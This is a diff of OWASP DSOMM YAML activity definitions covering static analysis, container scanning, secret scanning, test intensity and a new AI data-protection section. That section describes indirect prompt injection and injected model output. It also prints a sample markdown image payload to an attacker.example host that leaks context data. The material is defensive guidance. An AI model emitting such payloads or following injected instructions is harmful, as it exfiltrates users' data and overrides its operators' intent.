cf1213fd-8bfa-4a97-bf8b-937c93f31005 + name: Setting Up the Visual Studio Code Extension Plugin + url: https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1759216424/Setting+Up+the+Visual+Studio+Code+Extension+Plugin + tags: + - ide + - sast + - uuid: 3f5a493d-12d0-4468-b9fa-c3e4eae89ffb + name: HCL AppScan CodeSweep + url: https://marketplace.visualstudio.com/items?itemName=HCLTechnologies.hclappscancodesweep + tags: + - ide + - sast + dependsOn: + - Defined build process + - Inventory of production components + references: + samm2: + - V-ST-A-2 + - I-SB-B-3 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/6c05c837-8c99-46e2-828b-7c903e27dba4 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Stylistic analysis: + uuid: efa52cc8-6c5c-4ba2-a3d2-7164b0402f34 + risk: Unclear or obfuscated code might have unexpected behavior. + measure: Analysis of compliance to style guides of the source code ensures that + source code formatting rules are met (e.g. indentation, loops, ...). + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 1 + level: 5 + implementation: + - uuid: 00702aca-04d9-49ca-90d0-c32c199b26cb + name: PMD + tags: [] + - uuid: 0b7ec352-0c36-4de1-8912-617fc6c608fe + name: How to enforce a consistent coding style in your projects + url: https://www.meziantou.net/how-to-enforce-a-consistent-coding-style-in-your-projects.htm + tags: + - ide + - linting + - uuid: aa5ded61-5380-4da6-9474-afc36a397682 + name: In-Depth Linting of Your TypeScript While Coding + url: https://blog.sonarsource.com/in-depth-linting-of-your-typescript-while-coding + tags: + - ide + - linting + - uuid: 94a7a85e-8064-46b4-929a-9e03fa292a9f + name: Super-Linter + tags: + - linting + - scm + url: https://github.com/github/super-linter + description: | + Lint code bases to catch common errors and enforce code style + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + - 14.2.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/efa52cc8-6c5c-4ba2-a3d2-7164b0402f34 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for Patch Deployment Time: + uuid: 0cb2c39a-3cec-4353-b3ab-8d70daf4c9d2 + risk: Automatic PRs for dependencies are overlooked resulting in known vulnerabilities + in production artifacts. + measure: | + Test of the Patch Deployment Time. + This activity is not repeated in the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure as well. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: 00702aca-04d9-49ca-90d0-c32c199b26cb + name: PMD + tags: [] + dependsOn: + - Automated PRs for patches + - Defined build process + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 14.2.1 + - 14.2.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/0cb2c39a-3cec-4353-b3ab-8d70daf4c9d2 + comments: "" + meta: + implementationGuide: Self implementation. This activity is not repeated in + the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure + as well. + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Test for Time to Patch: + uuid: 13af1227-3dd1-4d4f-a9e9-53deb793c18f + risk: Automatic PRs for dependencies are overlooked resulting in known vulnerabilities + in production artifacts. + measure: |- + Test of the Time to Patch (e.g. based on Mean Time to Close automatic PRs) + This activity is not repeated in the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure as well. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: d6292c7d-aab7-43d3-a7c6-1e443b5c1aa4 + name: dependabot + tags: + - auto-pr + - patching + url: https://dependabot.com/ + - uuid: 8228266e-e04f-40ba-94c8-bfadc5310920 + name: renovate + tags: + - auto-pr + - patching + url: https://github.com/renovatebot/renovate + dependsOn: + - Automated PRs for patches + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 14.2.1 + - 14.2.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/13af1227-3dd1-4d4f-a9e9-53deb793c18f + comments: "" + meta: + implementationGuide: Usage of a version control platform API (e.g. github + API) can be used to fetch the information. Consider that `Measure libyears` + might be an alternative to this activity. + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Test libyear: + uuid: 87b54313-fafd-4860-930f-5ef132b3e4ad + risk: Vulnerabilities in running artifacts stay for long and might get exploited. + measure: Test `libyear`, which provides a good insight how good patch management + is. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: 2fff917f-205e-4eab-2e0e-1fab8c04bf33 + name: libyear + tags: + - patching + - build + url: https://libyear.com/ + description: A simple measure of software dependency freshness. It is a single + number telling you how up-to-date your dependencies are. + dependsOn: + - Defined build process + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 14.2.1 + - 14.2.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/87b54313-fafd-4860-930f-5ef132b3e4ad + comments: "" + meta: + implementationGuide: | + `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. + An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Usage of multiple analyzers: + uuid: 297be001-8d94-41ee-ab29-207020d423c0 + risk: Each vulnerability analyzer has different opportunities. By using just + one analyzer, some vulnerabilities might not be found. + measure: Usage of multiple static tools to find more vulnerabilities. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 5 + usefulness: 1 + level: 4 + dependsOn: + - Software Composition Analysis (server side) + - Software Composition Analysis (client side) + - Static analysis for all self written components + implementation: [] + references: + samm2: + - V-ST-A-3 + iso27001-2017: + - 12.6.1 + - 14.2.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/297be001-8d94-41ee-ab29-207020d423c0 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Static depth for infrastructure: + Correlate known vulnerabilities in infrastructure with new image versions: + uuid: 7de0ae33-6538-45cd-8222-a1475647ba58 + risk: TODO. + measure: TODO + difficultyOfImplementation: + knowledge: 2 + time: 5 + resources: 4 + usefulness: 1 + level: 4 + dependsOn: + - Usage of a maximum lifetime for images + implementation: + - uuid: fab2765d-8d96-4fc6-af96-dc9304ca41dc + name: Anchore.io + tags: [] + url: https://anchore.com/ + - uuid: f10f5423-4dff-4bb7-99c8-9ce214645071 + name: Clair + tags: [] + url: https://github.com/quay/clair + - uuid: d0c6b3a0-b073-44d7-a187-c4ad8eaa6531 + name: OpenSCAP + tags: [] + url: https://www.open-scap.org/ + - uuid: 04261564-2fcf-4b73-8847-83b0d855e1c5 + name: Vuls + tags: [] + url: https://github.com/future-architect/vuls + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 12.6.1 + - 14.2.1 + iso27001-2022: + - 8.8 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/7de0ae33-6538-45cd-8222-a1475647ba58 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Software Composition Analysis: + uuid: 26e1c6d5-5632-4ec7-80d2-e564b98732ad + risk: Known vulnerabilities in infrastructure components like container images + might get exploited. + measure: Check for known vulnerabilities + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 4 + description: Subscribing to Github projects and reading release notes might + help. Software Composition Analysis for infrastructure might help, but is + often too fine-granular. + implementation: + - uuid: 7f500e95-2110-44c4-a1f8-cd7ef5d9eb6b + name: https://github.com/aquasecurity/trivy + tags: [] + url: https://github.com/aquasecurity/trivy + - uuid: 8737c6c0-4e90-400a-bf9a-f8e399913b57 + name: Registries like quay + tags: [] + description: Registries like quay, dockerhub provide (commercial) offerings, + often not suitable for distroless images + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/26e1c6d5-5632-4ec7-80d2-e564b98732ad + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test cluster deployment resources: + uuid: 621fb6a5-5c0a-4408-826a-068868bb031b + risk: The deployment configuration (e.g. kubernetes deployment resources) might + contain unsecured configurations. + measure: Test the deployment configuration for virtualized environments for + unsecured configurations. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 3 + level: 2 + implementation: + - uuid: 1e58f8d2-61e2-45bb-a17c-51516d0cc9ba + name: kubesec + tags: [] + url: https://kubesec.io + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - System hardening is not explicitly covered by ISO 27001 - too specific + - 12.6.1 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - System hardening is not explicitly covered by ISO 27001 - too specific + - 8.8 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/621fb6a5-5c0a-4408-826a-068868bb031b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for image lifetime: + uuid: ddfe7c3c-b7a4-4cba-9041-b044d4a34e5b + risk: Old container images in production indicate that patch management is not + performed and therefore vulnerabilities might exists. + measure: Check the image age of containers in production. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 2 + level: 2 + implementation: + - url: https://github.com/SDA-SE/clusterscanner + uuid: 3c9ac78c-0fd4-43f4-8211-c915f9ef685f + name: ClusterScanner + tags: + - docker + - image + - container + - vulnerability + - misconfiguration + - security-tools + - scanning + description: Discover vulnerabilities and container image misconfiguration + in production environments. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 12.6.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/ddfe7c3c-b7a4-4cba-9041-b044d4a34e5b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for malware: + uuid: 837f8f90-adc2-4e6b-9ebb-60c2ee29494d + risk: Third party might include malware. Ether due to the maintainer (e.g. + typo squatting of an image name and using the wrong image) or by an attacker + on behalf of the maintainer with stolen credentials. + measure: Check for malware in components (e.g. container images, VM baseline + images, libraries). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + implementation: + - url: https://github.com/SDA-SE/clusterscanner + uuid: 3c9ac78c-0fd4-43f4-8211-c915f9ef685f + name: ClusterScanner + tags: + - docker + - image + - container + - vulnerability + - misconfiguration + - security-tools + - scanning + description: Discover vulnerabilities and container image misconfiguration + in production environments. + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.2.1 + iso27001-2022: + - 8.7 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/837f8f90-adc2-4e6b-9ebb-60c2ee29494d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for new image version: + uuid: cb6321aa-0fbf-4996-9e08-05ab26ef4c1e + risk: When a new version of an image is available, it might fix security vulnerabilities. + measure: Check for new images of containers in production. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 2 + level: 3 + implementation: [] + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + - 14.2.5 + - 12.2.1 + iso27001-2022: + - 8.8 + - 8.7 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/cb6321aa-0fbf-4996-9e08-05ab26ef4c1e + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for stored secrets in build artifacts: + uuid: d5e6303c-d5c6-4d59-b258-a3b9de38a07f + risk: Stored secrets in container images or other build artifacts shouldn't + exists because they might be exposed to unauthorized parties. + measure: Test for secrets in container images and other artifacts + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 2 + level: 1 + implementation: + - uuid: d90fefc9-4e5d-420f-ac87-eeb165bf0ee6 + name: truffleHog + tags: [] + url: https://github.com/dxa4481/truffleHog + - uuid: 382873e2-8604-4410-ae5e-b0f5ccdee835 + name: go-pillage-registries + tags: [] + url: https://github.com/nccgroup/go-pillage-registries + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - vcs usage is not explicitly covered by ISO 27001 - too specific + - 9.4.3 + - 10.1.2 + iso27001-2022: + - vcs usage is not explicitly covered by ISO 27001 - too specific + - 5.17 + - 8.24 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/d5e6303c-d5c6-4d59-b258-a3b9de38a07f + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for stored secrets in code: + uuid: c6e3c812-56e2-41b0-ae01-b7afc41a004c + risk: Stored secrets in git history or directly in code shouldn't exists because + they might be exposed to unauthorized parties. + measure: Test for secrets in code and git history + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 2 + level: 1 + implementation: + - uuid: d90fefc9-4e5d-420f-ac87-eeb165bf0ee6 + name: truffleHog + tags: [] + url: https://github.com/dxa4481/truffleHog + - uuid: 382873e2-8604-4410-ae5e-b0f5ccdee835 + name: go-pillage-registries + tags: [] + url: https://github.com/nccgroup/go-pillage-registries + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - vcs usage is not explicitly covered by ISO 27001 - too specific + - 9.4.3 + - 10.1.2 + iso27001-2022: + - vcs usage is not explicitly covered by ISO 27001 - too specific + - 5.17 + - 8.24 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/c6e3c812-56e2-41b0-ae01-b7afc41a004c + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test of infrastructure components for known vulnerabilities: + uuid: 13367d8f-e37f-4197-a610-9ffca4fde261 + risk: Infrastructure components might have vulnerabilities. + measure: Test for known vulnerabilities in infrastructure components. Often, + the only way to respond to known vulnerabilities in operating system packages + is to accept the risk and wait for a patch. As the patch needs to be applied + fast when it is available, this activity depends on 'Usage of a maximum life + for images'. + difficultyOfImplementation: + knowledge: 2 + time: 5 + resources: 2 + usefulness: 1 + level: 4 + dependsOn: + - Usage of a maximum lifetime for images + implementation: + - uuid: fab2765d-8d96-4fc6-af96-dc9304ca41dc + name: Anchore.io + tags: [] + url: https://anchore.com/ + - uuid: f10f5423-4dff-4bb7-99c8-9ce214645071 + name: Clair + tags: [] + url: https://github.com/quay/clair + - uuid: d0c6b3a0-b073-44d7-a187-c4ad8eaa6531 + name: OpenSCAP + tags: [] + url: https://www.open-scap.org/ + - uuid: 04261564-2fcf-4b73-8847-83b0d855e1c5 + name: Vuls + tags: [] + url: https://github.com/future-architect/vuls + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 12.6.1 + - 14.2.1 + iso27001-2022: + - 8.8 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/13367d8f-e37f-4197-a610-9ffca4fde261 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test of virtualized environments: + uuid: 58825d22-1ce6-4748-af81-0ec9956e4129 + risk: Virtualized environments (e.g. via Container Images) might contains + unsecure configurations. + measure: Test virtualized environments for unsecured configurations. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 3 + level: 2 + implementation: + - uuid: 73419fb5-b13d-4242-83ec-86f36c7d73d5 + name: Dive to inspect a container images + tags: [] + url: https://github.com/wagoodman/dive + - url: https://github.com/SDA-SE/clusterscanner + uuid: 3c9ac78c-0fd4-43f4-8211-c915f9ef685f + name: ClusterScanner + tags: + - docker + - image + - container + - vulnerability + - misconfiguration + - security-tools + - scanning + description: Discover vulnerabilities and container image misconfiguration + in production environments. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - ISO 27001:2017 mapping is missing + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/58825d22-1ce6-4748-af81-0ec9956e4129 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test the cloud configuration: + uuid: 46d6a2a8-f9dc-4c15-9fc8-1723cfecbddc + risk: Standard hardening practices for cloud environments are not performed + leading to vulnerabilities. + measure: With the help of tools, the configuration of virtual environments are + tested. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + implementation: + - uuid: 8aeefd29-6220-45bf-aead-83eba2e9d055 + name: kube-bench + tags: [] + url: https://github.com/aquasecurity/kube-bench + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - System hardening is not explicitly covered by ISO 27001 - too specific + - 12.6.1 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - System hardening is not explicitly covered by ISO 27001 - too specific + - 8.8 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/46d6a2a8-f9dc-4c15-9fc8-1723cfecbddc + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test the definition of virtualized environments: + uuid: 8fc3de67-7b8d-420b-8d24-f35928cfed6e + risk: The definition of virtualized environments (e.g. via Dockerfile) + might contain unsecure configurations. + measure: Test the definition of virtualized environments for unsecured configurations. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 3 + level: 2 + meta: + implementationGuide: For containier (images), test that the images are following + best practices like distroless or non-root. + implementation: + - uuid: 94d993ad-ef6e-4d9f-b7a8-27ea68dc3005 + name: Dockerfile with hadolint + tags: [] + url: https://github.com/hadolint/hadolint + - uuid: 95b717cd-5ad3-40b5-993b-13a63c382b1b + name: Deployment with kube-score + tags: [] + url: https://github.com/zegl/kube-score + - uuid: eba2685d-2d25-4961-8e4e-2957e7c07c30 + name: dockerfilelint + tags: + - sast + - docker + - dockerfile + url: https://github.com/replicatedhq/dockerfilelint + description: dockerfilelint is an node module that analyzes a Dockerfile and + looks for common traps, mistakes and helps enforce best practices. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - System hardening, virtual environments are not explicitly covered by ISO + 27001 - too specific + - 12.6.1 + - 14.2.3 + - 14.2.8 + - 14.2.1 + iso27001-2022: + - System hardening, virtual environments are not explicitly covered by ISO + 27001 - too specific + - 8.8 + - 8.32 + - 8.29 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for infrastructure/8fc3de67-7b8d-420b-8d24-f35928cfed6e + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test-Intensity: + Creation and application of a testing concept: + uuid: 79ef8103-e1ed-4055-8df8-fd2b2015bebe + risk: Scans might use a too small or too high test intensity. + measure: A testing concept considering the amount of time per scan/intensity + is created and applied. A dynamic analysis needs more time than a static analysis. + The dynamic scan, depending on the test intensity might be performed on every + commit, every night, every week or once in a month. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 2 + level: 4 + implementation: [] + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.2 + - 14.2.3 + - 14.2.1 + - 14.2.5 + - 12.6.1 + iso27001-2022: + - 8.25 + - 8.32 + - 8.27 + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test-Intensity/79ef8103-e1ed-4055-8df8-fd2b2015bebe + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Deactivating of unneeded tests: + uuid: 1bd78cdd-ef11-4bb5-9b58-5af2e25fe1c5 + risk: As tools cover a wide range of different vulnerability tests, they might + not match the used components. Therefore, they need more time and resources + as they need and the feedback loops takes too much time. + measure: Unneeded tests are deactivated. For example in case the service is + using a Mongo database and no mysql database, the dynamic scan doesn't need + to test for sql injections. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 1 + level: 3 + implementation: [] + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + - 14.2.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test-Intensity/1bd78cdd-ef11-4bb5-9b58-5af2e25fe1c5 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Default settings for intensity: + uuid: ab0a4b51-3b18-43f1-a6fc-a98e4b28453d + risk: Time pressure and ignorance might lead to false predictions for the test + intensity. + measure: The intensity of the used tools are not modified to save time. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 1 + level: 1 + implementation: [] + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 12.6.1 + - 14.2.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test-Intensity/ab0a4b51-3b18-43f1-a6fc-a98e4b28453d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + High test intensity: + uuid: 2ebfc421-8c76-415c-a3b0-fa518915bd10 + risk: A too small intensity or a too high confidence might lead to not visible + vulnerabilities. + measure: A deep scan with high test intensity and a low confidence threshold + is performed. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 5 + usefulness: 3 + level: 3 + implementation: [] + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + - 14.2.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test-Intensity/2ebfc421-8c76-415c-a3b0-fa518915bd10 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Regular automated tests: + uuid: 598897a2-358e-441f-984c-e12ec4f6110a + risk: After pushing source code to the version control system, any delay in + receiving feedback on defects makes them harder for the developer to remediate. + measure: On each push and/or at given intervals automatic security tests are + performed. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 2 + level: 2 + implementation: [] + references: + samm2: + - I-SB-A-3 + - V-ST-A-3 + iso27001-2017: + - 14.2.3 + - 14.2.8 + - 14.2.9 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test-Intensity/598897a2-358e-441f-984c-e12ec4f6110a + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false +... diff --git a/src/assets/YAML/default/AI/DataProtection.yaml b/src/assets/YAML/default/AI/DataProtection.yaml new file mode 100644 index 0000000..36576a6 --- /dev/null +++ b/src/assets/YAML/default/AI/DataProtection.yaml @@ -0,0 +1,364 @@ +# yaml-language-server: $schema=../../schemas/dsomm-schema-ai.json +--- +AI: + Data Protection: + Basic data leak prevention: # TODO May be split into 2 activities, one for training and one for contract related topics + uuid: dc62d384-0b9c-47d9-b7a5-9d82e53642ba + description: |- + Data shared with AI tools (prompts, attached files, repository content) may + leave the organization and may be stored or used for model training by the + provider. Basic data leak prevention defines what may be shared with which + tool and uses contractual and technical provider settings to protect it. + risk: |- + Developers paste secrets, personal data or confidential source code into AI + tools. The data is processed by third parties, potentially stored, used for + training or leaked in a provider breach. + measure: |- + Define which data classes may be used with which AI tools. If a commercial AI is used, use AI + offerings with training opt-out and data retention agreements. Train + employees to keep secrets and personal data out of prompts. + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + assessment: | + - Show the definition of which data classes may be used with which AI tools. + - Show the enterprise agreements or provider settings (training opt-out, data retention). + - Show the training or awareness material that tells employees to keep secrets and personal data out of prompts. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - data-protection + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c01 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c08 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 8.2.3 + - 13.2.4 + iso27001-2022: + - 5.10 + - 5.14 + comments: "" + Input validation for AI systems: + uuid: 0012e51c-a068-4549-a4d5-d1957b52676f + description: |- + Everything that enters a model context is input: user prompts, but + also documents retrieved via retrieval-augmented generation (RAG), + web content, source code, issues and tool results. Prompt injection prevention treats all of it as untrusted data + and validates or constrains it before the model processes it. + risk: |- + Attacker-controlled content (e.g. a hidden instruction in a retrieved + document, web page or code comment) is interpreted as an instruction by the + model. The attacker overrides the system prompt, extracts confidential + context or triggers unintended tool calls ([indirect prompt injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/#:~:text=triggers%20unexpected%20behavior).-,Indirect%20Prompt%20Injections,-Indirect%20prompt%20injections)). + measure: |- + Validate and constrain all input entering the model context: separate + instructions from data in prompt templates, sanitize or annotate untrusted + content, restrict input length and format where possible and use guardrail + filters that detect known injection patterns before the model call. + assessment: | + - Show prompt templates that separate instructions from untrusted data. + - Show the guardrail or filter configuration applied before the model call and a test where a known injection pattern is detected. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 5 + level: 3 + tags: + - ai + - data-protection + - input-validation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c02 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-llm-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/llm-guard + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/lakera-guard + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/nemo-guardrails + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tealtiger + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/trufflehog + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-ai-exchange + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + comments: "" + Secure output handling in AI applications: + uuid: 24990a5e-b0e6-4e2c-b06b-4e9f0d6f7b21 + description: |- + Model output is attacker-influenceable: prompt injection can make an + AI feature emit script tags, shell commands or malicious tool calls. + If the application renders or executes such responses unvalidated, + classic attacks (cross-site scripting, command and SQL injection) + reach their sinks through a new path. Model responses must therefore + be treated like user input. The sink-side controls are already defined + in OWASP DSOMM [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7); this activity applies them to the + AI features the organization ships (chat UIs, retrieval-augmented + generation (RAG) features, tool-calling agents) and adds the + AI-specific controls: strict markdown rendering, schema enforcement + for tool calls and output guardrails. + + The core of this activity is a reference: model responses are + untrusted data, and the sink-side controls are already defined in + [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7) (Implementation, Application + Hardening): safe framework bindings, encoding libraries, + parameterized APIs, Content Security Policy. Apply them to model + output exactly as to user input. + + AI-specific additions on top of it: + + - **Markdown rendering in chat UIs**: render with inline HTML + disabled (e.g. `markdown-it` with `html: false`) plus an + allow-list HTML sanitizer (e.g. DOMPurify). Markdown links and + images are a data exfiltration channel: An injected + `![](https://attacker.example/?d=)` leaks context data on + render without any click. So block or proxy external images and + restrict link/image URLs to trusted domains. + - **Tool/function calls**: enforce a JSON schema on structured + output, validate tool-call arguments against allow-lists and + require human confirmation for sensitive calls. + + Whether the content of a response is factually correct is a separate + concern, see _Hallucination detection for AI responses_. + risk: |- + An attacker uses prompt injection to make the model emit malicious output, + which the application then executes or renders: cross-site scripting, + command or SQL injection, or unauthorized high-privilege tool calls. + measure: |- + Treat model responses as untrusted data and apply the existing activity + [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7) to them at every sink (browser, shell, + SQL, downstream systems). Add the AI-specific controls on top: strict + markdown rendering, schema enforcement for tool calls and output + guardrails. + dependsOn: + - 0012e51c-a068-4549-a4d5-d1957b52676f # Input validation for AI systems + - e1f37abb-d848-4a3a-b3df-65e91a89dcb7 # Context-aware output encoding + 